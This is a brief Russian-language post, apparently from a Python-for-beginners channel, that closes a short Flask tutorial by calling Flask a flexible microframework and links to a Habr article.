Flask — мощный и гибкий микрофреймворк, который легко расширять и настраивать под конкретные нужды. Основываясь на этом кратком руководстве, вы можете создать простое веб-приложение, а затем углубиться в документацию для более сложных задач и возможностей.

Python для новичков

23 Sep, 04:03


https://habr.com/ru/articles/844622/